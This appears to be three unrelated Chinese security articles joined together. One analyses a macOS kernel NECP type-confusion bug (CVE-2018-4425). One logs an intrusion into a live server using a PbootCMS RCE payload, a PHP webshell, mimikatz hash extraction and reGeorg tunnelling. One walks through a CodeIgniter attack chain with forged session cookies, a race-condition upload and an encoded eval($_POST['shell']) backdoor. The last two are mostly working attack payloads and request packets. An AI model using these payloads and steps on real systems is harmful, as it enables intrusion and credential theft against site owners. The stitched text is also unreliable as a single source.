error = falloc(p, &fp, &fd, vfs_context_current());
if (error) {
return (error);
}
fp->f_flag = FREAD |
FWRITE; // [a]，这里的 f_flag 实际上是指向 fileops 的 fg_flag，下同。
fp->f_ops = &socketops; // [b]
if (delegate)
error = socreate_delegate(domain, &so, type, protocol, epid);
else
error = socreate(domain, &so, type, protocol); // [c]
if (error) {
fp_free(p, fd, fp);
} else {
fp->f_data = (caddr_t)so; // [d]
...
}
return (error);
}
在用户态调用 socket(AF_INET, SOCK_STREAM, 0) 后，内核代码将进入如上流程，首先分配文件表项和 fileglob 对象，然后在
[a] 处将 fg_flag 设置为可读可写，表示可以对这个 socket 进行发送和接收数据相关操作。在 [b] 处，将 fileops 设置为
socketops，对于该变量的定义如下：
// bsd/kern/sys_socket.c
const struct fileops socketops = {
.fo_type = DTYPE_SOCKET,
.fo_read = soo_read,
.fo_write = soo_write,
.fo_ioctl = soo_ioctl,
.fo_select = soo_select,
.fo_close = soo_close,
.fo_kqfilter = soo_kqfilter,
.fo_drain = soo_drain,
};
该变量里设置的成员回调函数即为用户态的系统调用将会真正触发的函数。在 [c] 处， `socreate` 函数会根据 domain、type 和
protocol 创建 `struct socket` 对象， 并在 [d] 处赋给 fg_data，即为真正的 backend object。
#### 2.2 NECP
NECP, Network Extension Control Policy，顾名思义是一种网络控制策略，下面是内核对其作出的解释：
// bsd/net/necp.c
/*
* NECP - Network Extension Control Policy database
* ------------------------------------------------ * The goal of this module is to allow clients connecting via a
* kernel control socket to create high-level policy sessions, which
* are ingested into low-level kernel policies that control and tag
* traffic at the application, socket, and IP layers.
*/
简单的说就是用户态程序可以通过 NECP 来创建一些策略并将其注入到内核网络流量处理的模块中，对于应用层、socket 层和 IP
层的流量进行控制以及标记。本文不对与本漏洞无关的业务逻辑进行阐述，感兴趣的读者可以自行阅读内核代码。
在谈 NECP 的同时可以简单的介绍一下 Kernrl Control，通过官网对 Kernel Control
的[介绍](https://developer.apple.com/library/archive/documentation/Darwin/Conceptual/NKEConceptual/control/control.html
"介绍")可以知道，Kernel Control 的主要作用就是用来使用户态程序有能力配置和控制内核以及内核扩展，这就是 NECP
最开始提供给用户态访问的最原始的形式。具体而言，内核首先通过 Kernel Control 提供的 KPI 注册一种 socket
类型，使用户态可以通过诸如 `socket(PF_SYSTEM, SOCK_DGRAM, SYSPROTO_CONTROL)` 访问到。注册部分的代码如下：
// bsd/net/necp.c
static errno_t
necp_register_control(void)
{
struct kern_ctl_reg kern_ctl;
errno_t result = 0;
// Create a tag to allocate memory
necp_malloc_tag = OSMalloc_Tagalloc(NECP_CONTROL_NAME, OSMT_DEFAULT);
// Find a unique value for our interface family
result = mbuf_tag_id_find(NECP_CONTROL_NAME, &necp_family);
if (result != 0) {
NECPLOG(LOG_ERR, "mbuf_tag_id_find_internal failed: %d", result);
return (result);
}
bzero(&kern_ctl, sizeof(kern_ctl));
strlcpy(kern_ctl.ctl_name, NECP_CONTROL_NAME, sizeof(kern_ctl.ctl_name));
kern_ctl.ctl_name[sizeof(kern_ctl.ctl_name) - 1] = 0;
kern_ctl.ctl_flags = CTL_FLAG_PRIVILEGED; // Require root
kern_ctl.ctl_sendsize = 64 * 1024;
kern_ctl.ctl_recvsize = 64 * 1024;
kern_ctl.ctl_connect = necp_ctl_connect;
kern_ctl.ctl_disconnect = necp_ctl_disconnect;
kern_ctl.ctl_send = necp_ctl_send;
kern_ctl.ctl_rcvd = necp_ctl_rcvd;
kern_ctl.ctl_setopt = necp_ctl_setopt;
kern_ctl.ctl_getopt = necp_ctl_getopt;
result = ctl_register(&kern_ctl, &necp_kctlref);
if (result != 0) {
NECPLOG(LOG_ERR, "ctl_register failed: %d", result);
return (result);
}
return (0);
}
内核使用 `ctl_register` 函数将一个 `kern_ctl` 的对象注册到一个全局的数据集中。同样这里也有几点需要关注：
a) `NECP_CONTROL_NAME` 内核定义的宏，定义为字符串 `com.apple.net.necp_control`。
b) `kern_ctl.ctl_flags` 标记为需要 `root` 才能访问，后面会有提到。
c) `necp_ctl_*` 系列函数，作为回调函数会被对 NECP Kernel Control 的套接字的操作触发。
用户态在创建相关套接字后，通过 connect 系统调用可以创建与内核 NECP 模块交互的会话，并通过 write 的方式配置网络策略，通过 read
的方式读取内核通知。
#### 2.3 代码审计的一点思考
至此，对于本漏洞的基本知识已介绍完毕，本小结作为笔者审计代码的一点小感受，与本文主题无关，不感兴趣的读者可以直接阅读第3部分。
本文提到的代码广义上都是多态，而在 C
语言里多态的实现基本要依赖回调函数。对于更加复杂的诸如此类的回调函数系统实际上是很容易出问题的，阅读理解困难、调试不方便，这点笔者在曾经作为开发者参与开发维护一个回调满天飞的软件时深有体会，很显然会出现的问题有如下两点：
a) 资源管理
底层语言程序员们肯定会听过“谁开发，谁保护；谁污染，谁治理”的资源管理原则，但是事情总是这样吗？在实际的案例中，再优美的设计也有可能被历史包袱和奇葩的需求所打败，最后落得一地鸡毛。当然，遵循一种统一的资源管理原则肯定是值得提倡的，问题是软件开发初期肯定会有考虑欠周的地方，加上开发中后期人员的变动，后来参与的成员可能会因为不能熟悉该软件中的统一规范而导致写了危险的代码。
b) 处理逻辑
这里提到的处理逻辑是指回调函数设计之初所期望的开发者对于这些回调函数的参数、返回值的处理以及实际逻辑所能访问的边界有足够的意见一致性，这些问题较多出现在扩展性质的程序中。而对这些约定的东西处理不当又极易导致资源管理的问题。
篇幅有限，这里不进行展开，观点仅作为一点不成熟的小建议。
### 3 类型混淆
目前为止所提到的内容都是没问题的，问题出在 Apple 在2017年7月份一次更新(没有仔细看，感兴趣的读者可以自行查证)中添加的关于 `necp`
模块的几个系统调用里面。这些系统调用作为 2.2 中提到的用 socket 的方式操作 NECP 的一种替代品。具体来说就是
`necp_session_*` 和 `necp_client_*` 这两类函数。这些函数是怎么实现相关功能的这里不讨论，只谈与漏洞相关的地方。
内核提供 `necp_open` 和 `necp_session_open`
这两个系统调用，并且两个系统调用都返回文件描述符，根据之前提到的，文件描述符所对应的内核真正的对象的类型应该是不同的。通过查看代码发现，确实不同。两个函数的代码如下：
// bsd/net/necp.c
int necp_session_open(struct proc * p, struct necp_session_open_args * uap, int * retval)
{
int error = 0;
struct necp_session * session = NULL;
struct fileproc * fp = NULL;
int fd = -1;
uid_t uid = kauth_cred_getuid(proc_ucred(p));
if (uid != 0 && priv_check_cred(kauth_cred_get(),
PRIV_NET_PRIVILEGED_NECP_POLICIES, 0) != 0) { // [a]
NECPLOG0(LOG_ERR, "Process does not hold necessary entitlement to open NECP session");
error = EACCES;
goto done;
}
error = falloc(p, &fp, &fd, vfs_context_current());
if (error != 0) {
goto done;
}
session = necp_create_session(); // [b]
if (session == NULL) {
error = ENOMEM;
goto done;
}
fp->f_fglob->fg_flag = 0;
fp->f_fglob->fg_ops = &necp_session_fd_ops; // [c]
fp->f_fglob->fg_data = session; // [d]
proc_fdlock(p);
FDFLAGS_SET(p, fd, (UF_EXCLOSE | UF_FORKCLOSE));
procfdtbl_releasefd(p, fd, NULL);
fp_drop(p, fd, fp, 1);
proc_fdunlock(p);
*retval = fd;
done:
if (error != 0) {
if (fp != NULL) {
fp_free(p, fd, fp);
fp = NULL;
}
}
return (error);
}
// bsd/net/necp_client.c
int necp_open(struct proc * p, struct necp_open_args * uap, int * retval)
{
int error = 0;
struct necp_fd_data * fd_data = NULL;
struct fileproc * fp = NULL;
int fd = -1;
...
error = falloc(p, &fp, &fd, vfs_context_current());
if (error != 0) {
goto done;
}
if ((fd_data = zalloc(necp_client_fd_zone)) == NULL) { // [f]
error = ENOMEM;
goto done;
}
memset(fd_data, 0, sizeof(*fd_data));
fd_data->necp_fd_type = necp_fd_type_client;
fd_data->flags = uap->flags;
RB_INIT(&fd_data->clients);
TAILQ_INIT(&fd_data->update_list);
lck_mtx_init(&fd_data->fd_lock, necp_fd_mtx_grp, necp_fd_mtx_attr);
klist_init(&fd_data->si.si_note);
fd_data->proc_pid = proc_pid(p);
fp->f_fglob->fg_flag = FREAD;
fp->f_fglob->fg_ops = &necp_fd_ops; // [g]
fp->f_fglob->fg_data = fd_data; // [h]
proc_fdlock(p);
*fdflags(p, fd) |= (UF_EXCLOSE | UF_FORKCLOSE);
procfdtbl_releasefd(p, fd, NULL);
fp_drop(p, fd, fp, 1);
...
return (error);
}
注意代码中标记字母的地方。在 [d] 和 [h] 处对应赋值的两个对象的类型分别为 `struct necp_session` 和 `struct
necp_fd_data` 类型。再注意 [c] 和 [g] 处， 给 fileops 赋值的值分别为：
// bsd/net/necp.c
static const struct fileops necp_session_fd_ops = {
.fo_type = DTYPE_NETPOLICY,
.fo_read = noop_read,
.fo_write = noop_write,
.fo_ioctl = noop_ioctl,
.fo_select = noop_select,
.fo_close = necp_session_op_close,
.fo_kqfilter = noop_kqfilter,
.fo_drain = NULL,
};
// bsd/net/necp_client.c
static const struct fileops necp_fd_ops = {
.fo_type = DTYPE_NETPOLICY,
.fo_read = noop_read,
.fo_write = noop_write,
.fo_ioctl = noop_ioctl,
.fo_select = necpop_select,
.fo_close = necpop_close,
.fo_kqfilter = necpop_kqfilter,
.fo_drain = NULL,
};
fo_type 都是 `DTYPE_NETPOLICY`，类型居然一样！再看从文件描述符到具体对象转换的函数：
// bsd/net/necp.c
static int
necp_session_find_from_fd(int fd, struct necp_session ** session)
{
proc_t p = current_proc();
struct fileproc * fp = NULL;
int error = 0;
proc_fdlock_spin(p);
if ((error = fp_lookup(p, fd, &fp, 1)) != 0) {
goto done;
}
if (fp->f_fglob->fg_ops->fo_type != DTYPE_NETPOLICY) { // [a]
fp_drop(p, fd, fp, 1);
error = ENODEV;
goto done;
}
*session = (struct necp_session *)fp->f_fglob->fg_data; // [b]
done:
proc_fdunlock(p);
return (error);
}
另外一个函数对应也一样，可自行查阅。在这里，[a] 处先判断该类型是否为 DTYPE_NETPOLICY，[b] 处，直接就转换成 struct
necp_session 对象。单个的看是没有问题的，但如果传进来的是一个代表了 struct necp_fd_data 的文件描述符呢，此时在 [a]
处， CHECK！[b] 处，TYPE CONFUSION。下载
[PoC](https://blogs.projectmoon.pw/2018/11/30/A-Late-Kernel-Bug-Type-Confusion-in-NECP/NECPTypeConfusion.c "PoC") 可验证这一猜想。
### 4 权限与沙箱
在 PoC 中，使用的是 necp_open 创建 necp_fd_data 对象， 然后以把其当做 necp_session
对象。反过来其实也行，但是由于 necp_session_open 函数因为 `PRIV_NET_PRIVILEGED_NECP_POLICIES`
的检查是普通用户无法成功调用的，所以最好是以 PoC 中的方式触发。同时，在这几个函数中，是没有沙盒限制的，意味着这个类型混淆漏洞可以用来绕过任意沙盒。
### 5 漏洞修复
查证了内核最新代码(没有源代码，只有二进制)，修复的方式是加了一个子类型的检查。
necp_session_find_from_fd 函数： 
necp_find_fd_data 函数： 
在 fg_data 的第一个字节存储的就是这个类型信息，这个在漏洞修复之前就存在，只是没有利用起来。
### 6 One More
在验证漏洞失败后的失望之余，在[苹果公告](https://support.apple.com/en-us/HT209193
"苹果公告")上找到了可能的漏洞致谢信息。
随后又去 [ZDI](https://www.zerodayinitiative.com/advisories/ZDI-18-1325/ "ZDI")
上证实了这个信息，编号为 CVE-2018-4425。
行文仓促，难免会有不严谨的地方，[欢迎指出]([email protected] "欢迎指出") 。
* * * | 社区文章 |
### 1、Rce
在对其进行信息收集过程中，找到其带有cms版本的后台界面。
在网上找其对应版本的漏洞，发现对应版本的Rce。
尝试其payload并成功执行
{pboot:if(phpinfo\());//)}{/pboot:if}
先看一眼权限
竟然是system！！！
想着直接powershell上线就完事，不知为何执行命令的时候中间不能有空格，有空格就无法执行。有知道的师傅受累告我一声~
可以执行：
{pboot:if(system\(ipconfig));//)}{/pboot:if}
{pboot:if(system\(whoami));//)}{/pboot:if}
………………
不能执行,只要执行的命令中间有空格就不会再执行。
{pboot:if(system\(net user));//)}{/pboot:if}
{pboot:if(system\(net%20user));//)}{/pboot:if}
### 2、Getshell
没办法用Windows上线，就使用php写Webshell。
这里使用回车来代替空格，来绕过不能使用空格。
Getshell之后发现有360，web权限是system也无法杀掉360进程。
在Webshell中无法调取Powershell，上次写的Shellcode加载器找不到了，本地也没有环境就懒得去再整了~
### 3、读取密码
上传了Procdump、mimikagz、Pwdump，都被360杀了。
最后使用导出注册表的方式，本地配合mimikatz来获取Windows NTLM-hash。
这种方式只能得到NTLM-hash。
之前添加用户的时候知道这个系统开启了密码复杂度的要求，感觉破解hash出来的可能性不大，但还是要试一试。
不负所望，爆破没结果。
### 4、玄学之添加用户
尝试添加一个用户连接上去能不能执行Powershell。
上午可以执行net user ，查看了用户，下午想查看并添加用户的时候就不行了。
最后使用冰蝎的虚拟终端，添加了用户。
这里也尝试了冰蝎的"命令执行"，执行结果和菜刀一样，无法执行。
### 5、探测内网存活主机
查看arp表，此主机与那些主机进行过通信。
然后使用简单的ping命令对此网端进行了扫描，与arp表的一致。
### 6、内网穿透
Web是由php搭建的，然后在其Web目录上传了一个ReGeory的php脚本。
上传之后访问该文件，可以连接。
由服务器进行转发
./reGeorgSocksProxy.py -p 端口 -l 服务器IP(默认为127.0.0.1) -u http://site/tunnel.nosocket.php
### 7、内网主机扫描
配置好proxychains，使用nmap进行扫描。
只有192.168.0.66开启了服务。
访问web界面，就一个静态测试页面。
对Smb服务测试了17-010，也尝试了爆破1433、3389，使用得到的NTLM-hash进行Hash碰撞，都无果。
### 8、玄学之上线
有了添加用户的前车之鉴，知道这台服务器有玄学问题。
到了晚上，尝试使用Webshell执行Powershell上线命令，竟然直接上线了！！！
抓取密码，大小写加数字字符....
截屏看一下。
好嘛~这个大哥正在写代码~ | 社区文章 |
在一次项目中，前期拿到了站点的源码，队里师傅白盒审出了一条曲折的利用链，现在对这条链的挖掘过程重新做一次复现并记录。
这条链涉及经典漏洞包括： session 伪造、任意文件上传、条件竞争、文件包含，每一个漏洞都非常经典，串在一起变成了一个 big boom。
前排说明：目标站点使用框架为
CodeIgniter，本文目的是技术研究和思路分享，涉及到关于目标站点的信息已被隐去，相关代码特征如变量、函数的命名也已替换，但代码的逻辑均保留，仍具备参考价值。
### 找到上传点
检索一遍没有发现明显的命令注入、代码注入。
转而找上传或文件写入漏洞，主要关注 file_put_contents 和 move_uploaded_files 等函数
在某一个上传接口 `/uplaodController/uplaodMethod` 中，找到如下代码段：
$fileInput = $_FILES;
$targetPath = "/tmp/";
$file = $targetPath . basename($fileInput['uploadedFile']['name']);
move_uploaded_file($fileInput['uploadedFile']['tmp_name'], $file);
$multipartParams = [
......
];
$result = apiRequest(
'POST',
......
$multipartParams
);
if (file_exists($file)) {
unlink($file);
}
代码的逻辑很清晰：
1. 从 $_FILES 中提取出 uploadedFile 这个文件，保留上传时的文件名，并将其移动到 /tmp 目录下。
2. 构造一个表单，其中 imageFile 参数即为第一步中被移动的文件，然后和其他参数一起 POST 向另一个接口。
3. 经典“卸磨杀驴”，删除刚刚移动的文件。
然后这里就算是一个 “不稳定” 的文件上传点，路径为 `/tmp/[上传文件名]`。
利用场景也 “被迫” 地让我们想好了：需要一个文件包含来和上面这段代码中的 unlink 操作进行竞争，在文件被删除之前包含它，来达到执行代码的效果。
### 找文件包含
目标是找到能控制文件路径的包含点，这里发现了一个 Meathods 类，它包含一个 method1 方法符合我们的需求。
public function method1()
{
header('Content-Type: application/json');
$response = array();
if ($this->input->is_ajax_request()) {
$data = $this->input->post(null, true);
if (empty($data)) {
$data = $this->input->get(null, true);
}
$class = $data['class'];
$method = $data['method'];
if ($this->isMethodAllowed($method)) {
unset($data['class']);
unset($data['method']);
$this->load->model($class);
$response = $this->$class->$method($data);
}
}
return;
}
这部分逻辑也很清晰
1. is_ajax_request() 通过请求头 HTTP_X_REQUESTED_WITH 的值是否为 "XMLHttpRequest" 来判断是不是异步请求，如果不是，则返回一个 json 编码后的空数组。之后的漏洞利用过程中需要注意这个点；
2. 从 post 参数中获取请求的变量，如果没有就从 get 参数中获取。post() 和 get() 两个函数的具体逻辑为遍历 $_POST 和 $_GET 来获取变量。(支持从 post 数据中获取参数的这一特性，在绕过 waf 方面能给我们提供更多选择)。
3. 获取到对应的 $class 和 $method 之后，isMethodAllowed() 检查了被调用的方法是否被允许。
4. 调用框架定义好的 this->load->model 方法来加载对应的类。
避免有什么框架定义好的限制，有必要看一下 this->load->model 的逻辑。
$this->load =& load_class('Loader', 'core');
load_class() 函数是框架与定义的函数，它会去对应的路径包含对应的文件，并加载其中的类，这样我们就找到了 this->load，也就有了
model 函数的代码：
public function model($model, $name = '', $db_conn = FALSE)
{
$path = '';
if (($last_slash = strrpos($model, '/')) !== FALSE)
{
$path = substr($model, 0, $last_slash + 1);
$model = substr($model, $last_slash + 1);
}
if ($name == '')
{
$name = $model;
}
$CI =& get_instance();
$model = strtolower($model);
foreach ($this->_ci_model_paths as $mod_path)
{
if ( ! file_exists($mod_path.'models/'.$path.$model.'.php'))
{
continue;
}
// 这里的 require_once 可以被利用来文件包含
require_once($mod_path.'models/'.$path.$model.'.php');
$CI->$name = new $model();
return;
}
......
}
开发常见的问题，相信了用户的输入，没有对输入进行足够的过滤，这个函数没有对传入的参数 $model 做严格的过滤，导致可以通过 "../"
进行目录穿越，从而可以实现对任意文件的包含。
那么再回到调用 model 的地方再看：
$this->load->model($class);
$response = $this->$class->$method($data);
实例化了目标类之后，还调用了相应的方法，可谓非常贴心了。
### 尝试利用
从目前已经掌握的漏洞点出发，已经可以构思出这个漏洞的利用方式，首先准备一个恶意的 php 文件准备上传：
<?php
class TempClass{
function __construct(){
print('in __construct()\n');
file_put_contents('/tmp/TempClass2.php',base64_decode("PD9waHAKY2xhc3MgVGVtcENsYXNzMnsKCWZ1bmN0aW9uIF9fY29uc3RydWN0KCl7CiAgICAgICAgcHJpbnQoJ2luIF9fY29udHJ1Y3RcbicpOwoJCWV2YWwoJF9QT1NUWydzaGVsbCddKTsKCX0KCWZ1bmN0aW9uIGdldERhdGExKCRwYXJhbXMpewogICAgICAgIHByaW50KCdpbiBnZXREYXRhMScpOwoJCXZhcl9kdW1wKCRwYXJhbXMpOwoJfQp9"));
}
function getData1($params){
print('in getData1()\n');
}
}
包含这个恶意文件并实例化 TempClass 时，会调用构造函数写入一个 /tmp/TempClass2.php，内容为：
<?php
class TempClass2{
function __construct(){
print('in __contruct\n');
eval($_POST['shell']);
}
function getData1($params){
print('in getData1');
var_dump($params);
}
}
那么，接下来需要找到这个上传的入口，在一处 js 中找到了对应的代码：
$('.form-file').on('change', function () {
......
$(formId + '.form-uplaod').val(file[0].name);
var formData = new FormData();
formData.append('uploadedFile', file[0]);
......
});
......
context.methodsCall = function(formData) {
......
$.ajax({
url: '/uplaodController/uplaodMethod/',
type: 'POST',
data: formData,
dataType: 'json',
......
success: function (data) {
......
}
});
}
从前端页面找到这个接口似乎不太方便，但是从 js 的逻辑中构建出请求包倒也不困难。
只是遗憾的是，尝试访问之后发现这个上传接口不能随意访问，所以还得从程序入口开始审计哪里做了鉴权。
### 找到鉴权
代码定义了 Hooks 类，在对每一个控制器的进行操作前，都会先调用若干个 hooks 中定义的方法，其中和鉴权相关的方法位于：hooks/auth.php
鉴权相关的函数为 permissionCheck()：
function permissionCheck() {
......
$user = $CI->load->get_var('auth_user');
$permissions = $user['permissions'];
......
if (! in_array($action, $allow)) {
if (! isset($permissions[$controller][$action])) {
......
redirect('permissions/unauthorized');
}
}
}
这里可以看到，我们想要调用的方法，需要在 $user['permissions'] 中被指定，$user 从
$CI->load->get_var('auth_user') 中来，`auth_user` 刚好在另一个 hooks 方法 loginCheck()
中被设置。
function loginCheck() {
......
if ($CI->router->method != 'login' && !$CI->session->userdata('logged_in')) {
redirect('users/login');
}
elseif ($CI->session->userdata('logged_in')) {
$user = new User;
$user = $user->findUserById($CI->session->userdata('logged_in'));
if (empty($user)) {
$CI->session->destroySess();
redirect('users/login');
}
elseif (empty($user['permissions'])) {
$CI->session->destroySess();
redirect('users/login');
}
else {
$CI->session->setUserdata('user', $user);
$CI->load->vars('auth_user', $user);
}
if ($CI->router->method == 'login') redirect('users');
}
}
直接来看 elseif 部分，对于已经登陆的用户，会根据用户 id 用 findUserById() 到数据库中查询相应的信息，其中包含一个
permissions 字段，似乎看到了我们想要的东西，之后又将用户信息用 $CI->load->vars 设置为一个 `auth_user` 变量，也就是
permissionCheck() 函数中参数的来源，
来看一下 findUserById() 具体操作了哪些数据库：
public function findUserById($id = null) {
if ($id) {
$q = Doctrine_Query::create()
->from('User u')
->leftJoin('u.Role r')
->leftJoin('r.Permission p')
->leftJoin('u.Sessions s')
->where('u.id = ?', $id);
$user = $q->fetchOne();
Doctrine_Manager::connection()->close();
if (empty($user)) {
return array();
}
else {
$user = $user->toArray();
$permissions = array();
if (isset($user['Role']['Permission']) && !empty($user['Role']['Permission'])) {
foreach ($user['Role']['Permission'] as $permission) {
$permissions[$permission['controller']][$permission['action']] = $permission['id'];
}
}
$customData = $this->_unserialize($user['user_data']);
array_merge($permisssions, $customData['permission']);
$user['permissions'] = $permissions;
return $user;
}
}
else {
return array();
}
}
跟踪 findUserById() 的逻辑发现，主要进行了数据库查询操作，但是对于 $permissions，还有一部分来自 session 相关的数据库。
### session 伪造
常规数据库可能没办法直接修改，但是 session 数据库也许会伴随用户状态的改变而修改，那么如果 session
数据库中的信息可控，也可以达到我们的目的。
在 Session.php 中可以找到对 cookie 的相应操作。
if ( ! $this->readSess())
{
$this->createSess();
}
else
{
$this->updateSess();
}
$this->markFlashdata();
首先看一下 readSess() 函数
function readSess()
{
$session = $this->CI->input->cookie($this->sess_cookie_name);
...... （省略部分校验逻辑）
if ($this->sess_encrypt_cookie == TRUE)
{
$session = $this->CI->encrypt->decode($session);
}
$session = $this->_unserialize($session);
......(校验 User-Agent / IP / last_activity 相关)
if ($this->sess_use_database === TRUE)
{
......(通过数据库校验 User-Agent / IP / last_activity 相关)
$query = $this->CI->db->get($this->sess_table_name);
......
$row = $query->row();
if (isset($row->user_data) AND $row->user_data != '')
{
$customData = $this->_unserialize($row->user_data);
if (is_array($customData))
{
foreach ($customData as $key => $val)
{
$session[$key] = $val;
}
}
}
}
$this->userdata = $session;
unset($session);
return TRUE;
}
看起来都是常规的操作，
1. 首先校验了 cookie 的合法性，在设置 cookie 时就用了尾部的签名了来做校验；(这部分逻辑在代码中省略)
2. 紧接着判断 cookie 中的其他特征，UA、ip 地址、过期时间等等是否合法；
3. 最后还有一些用户自定义的数据，这些自定义数据先从数据库中取得的，也被放到了 $session 变量中。
然而 $session 变量最开始却是从这里来的：`$session = $this->_unserialize($session);`
当然这里似乎还有潜在的反序列化漏洞，不过暂且先不关注。 $session 最后在 $this->userdata = $session;
所以，如果我们直接在 cookie 中构造相应的数据结构，当它被反序列化到 $session 变量后，仍然可以被保存到 userdata 中。
紧接着 readSess() 之后， markFlashdata() 中调用了 setUserdata() 更新 $userdata，更进一步调用
writeSess() 写入到数据库中，
function setUserdata($newdata = array(), $newval = '')
{
if (count($newdata) > 0)
{
foreach ($newdata as $key => $val)
{
$this->userdata[$key] = $val;
}
}
$this->writeSess();
}
然后是 writeSess()，这里将 $userdata 做了分类处理，并写入了数据库
function writeSess()
{
......
$customUserdata = $this->userdata;
$cookieUserdata = array();
foreach (array(.....) as $val)
{
unset($customUserdata[$val]);
$cookieUserdata[$val] = $this->userdata[$val];
}
$customUserdata = $this->_serialize($customUserdata);
$this->CI->db->where('session_id', $this->userdata['session_id']);
$this->CI->db->update($this->sess_table_name, array(......, 'user_data' => $customUserdata));
......
}
调用 writeSess() 函数将除部分特殊字段之外其他字段作为 “自定义数据” 以关键字 user_data 存入数据库中，这也是我们想要操作的数据。
接下来就要着手伪造 cookie 了，本地执行对应的加解密算法。
加密部分：
function encode($string, $key = '')
{
$key = $this->get_key($key);
$enc = $this->cryptEncode($string, $key);
return base64_encode($enc);
}
解密部分：
function decode($string, $key = '')
{
$key = $this->getKey($key);
if (preg_match('/[^a-zA-Z0-9\/\+=]/', $string))
{
return FALSE;
}
$dec = base64_decode($string);
if (($dec = $this->cryptDecode($dec, $key)) === FALSE)
{
return FALSE;
}
return $dec;
}
$key 可以在配置文件中拿到。
具体 cryptDecode() 和 cryptEncode() 的代码很长，此处省略。
### 正式攻击
首先用已经掌握的低权限账号密码登陆，登陆之后会得到一个已经 "logged_in" 的 cookie。
例如：
>
> ci_session=xfaaLHsFHaexzWJQii6sC/Us7ydR6Y3PWILpwx1L5Hqlqu9SLVvO1uIjUWFsi4DhQl+FRvb3WjNASlaKYuT33PLMUSVxwWzMneuXUUWfhvAyu7hqq2nrn1TV044A9H77vkZ98dpBbHGzG5vXW0XBioeDL14f6Zp+0iho59bgTdqmibgEz1wfi6JUcUeKQ+eA4Hso+B42mMSC1V1m3MewyWqVhiiKL8ZgHexjnkeHOcty+0l+iBX2biiSEtQz0GJDPU3OoKmwF2M8MnkfNDFh6DhgwfH26LBVWmiUrJm75yBh6VyYkwboLixBYlHuc0Z4mzWYg+VOxWcjRFF6dzJ37NU8rXQYJap2XlSU3Yqc+N97YgRrMo6yLOPP9IakkM+YcqyImXF1zb77KKh5pIgqPFZR9xekt9p8EvtUpQKZrg8=824f09cccb5cf704340df4b5c205c26c5e9e52c2
解密之后：
>
> a:4:{s:10:"session_id";s:32:"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";s:10:"ip_address";s:13:"xxxxxxxxxxxxx";s:10:"user_agent";s:114:"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";s:13:"last_activity";i:xxxxxxxxxx;}
给这个序列化字符串加一点东西上去：
>
> a:5:{s:10:"session_id";s:32:"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";s:10:"ip_address";s:13:"xxxxxxxxxxxxx";s:10:"user_agent";s:114:"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";s:13:"last_activity";i:xxxxxxxxxxxxx;s:10:"permission";a:1:{s:16:"uploadController";a:1:{s:12:"uploadMethod";s:1:"1";}}}
然后调用加密函数再生成新的 cookie:
>
> ci_session=wFGkjcdbNDRwLaIh3t+AkrQR30J/laBpEf9mD5pxjhppUqz9CwMFy6WqGylz/dM+9iRbYEqt2B/V+Mcs0hhGWDafjU3eqpfci9P6w1zsVZcfyg3ub2neKa/PsMnMWLCWLrX1tSIjdOI9QiWLj9v6zkABa+4g1Wn1ZkyT/eFQKHVxOLU4pFgK4oJbmzyiCNbJ2yJYkGQdDllfkURn5Xz89ut9Lw9b6nttfgCWzbaVWO+cejiuqJmrZY5GsAgdhLDOWSHGIdxJrghVc52bU0JHLUlQcsG/bNdpozY5mu7i53mlb0N6fz3WQ9Rg2TqlW8hgCjVTZ15fxusN67E0uPaRTt70SAkbL+aSSFL2VilJEQTr+UxZ28NNERMkPlALDjy03itGFjf3+F1Y7m+rSCcfFMBpWPDpSA5v3uoFYgc44HB+HyBxd5KMHHqCjiD5/bIVt3fO53/1k5kQfYMKsKCJAfH/XwGpGoRUNEEjpjlZKIMUFiQFYblw3bOvpSUQneXm+yeJ/2wDbQ+E+IjgdZcrFGtKZwzZafaBH+2pcDG2Tbo=5c154e08c40a5d6a7652d8700429971065e97e07
具体利用过程中用到的请求包：
第一步： 利用伪造的 cookie 进行上传
part1：
POST /uplaodController/uplaodMethod HTTP/1.1
......
Cookie:
ci_session=wFGkjcdbNDRwLaIh3t%2BAkrQR30J/laBpEf9mD5pxjhppUqz9CwMFy6WqGylz/dM%2B9iRbYEqt2B/V%2BMcs0hhGWDafjU3eqpfci9P6w1zsVZcfyg3ub2neKa/PsMnMWLCWLrX1tSIjdOI9QiWLj9v6zkABa%2B4g1Wn1ZkyT/eFQKHVxOLU4pFgK4oJbmzyiCNbJ2yJYkGQdDllfkURn5Xz89ut9Lw9b6nttfgCWzbaVWO%2BcejiuqJmrZY5GsAgdhLDOWSHGIdxJrghVc52bU0JHLUlQcsG/bNdpozY5mu7i53mlb0N6fz3WQ9Rg2TqlW8hgCjVTZ15fxusN67E0uPaRTt70SAkbL%2BaSSFL2VilJEQTr%2BUxZ28NNERMkPlALDjy03itGFjf3%2BF1Y7m%2BrSCcfFMBpWPDpSA5v3uoFYgc44HB%2BHyBxd5KMHHqCjiD5/bIVt3fO53/1k5kQfYMKsKCJAfH/XwGpGoRUNEEjpjlZKIMUFiQFYblw3bOvpSUQneXm%2ByeJ/2wDbQ%2BE%2BIjgdZcrFGtKZwzZafaBH%2B2pcDG2Tbo%3D5c154e08c40a5d6a7652d8700429971065e97e07
Content-Type: multipart/form-data;
boundary=------------------------85a71e8a43af37ac
Content-Length: xxx
\--------------------------85a71e8a43af37ac
Content-Disposition: form-data; name="uploadedFile"; filename="TempClass.php"
Content-Type: image/png
<?php
class TempClass{
function **construct(){
print('in **construct()\n');
file_put_contents('/tmp/TempClass2.php',base64_decode("PD9waHAKY2xhc3MgVGVtcENsYXNzMnsKCWZ1bmN0aW9uIF9fY29uc3RydWN0KCl7CiAgICAgICAgcHJpbnQoJ2luIF9fY29udHJ1Y3RcbicpOwoJCWV2YWwoJF9QT1NUWydzaGVsbCddKTsKCX0KCWZ1bmN0aW9uIGdldERhdGExKCRwYXJhbXMpewogICAgICAgIHByaW50KCdpbiBnZXREYXRhMScpOwoJCXZhcl9kdW1wKCRwYXJhbXMpOwoJfQp9"));
}
function getData1($params){
print('in getData1()\n');
}
}
?>
\--------------------------85a71e8a43af37ac--
第二部，因为需要条件竞争，可以考虑把这个上传包放到 intruder 里重放个几百次，然后在上传的过程中，去尝试包含 /tmp/TempClass.php
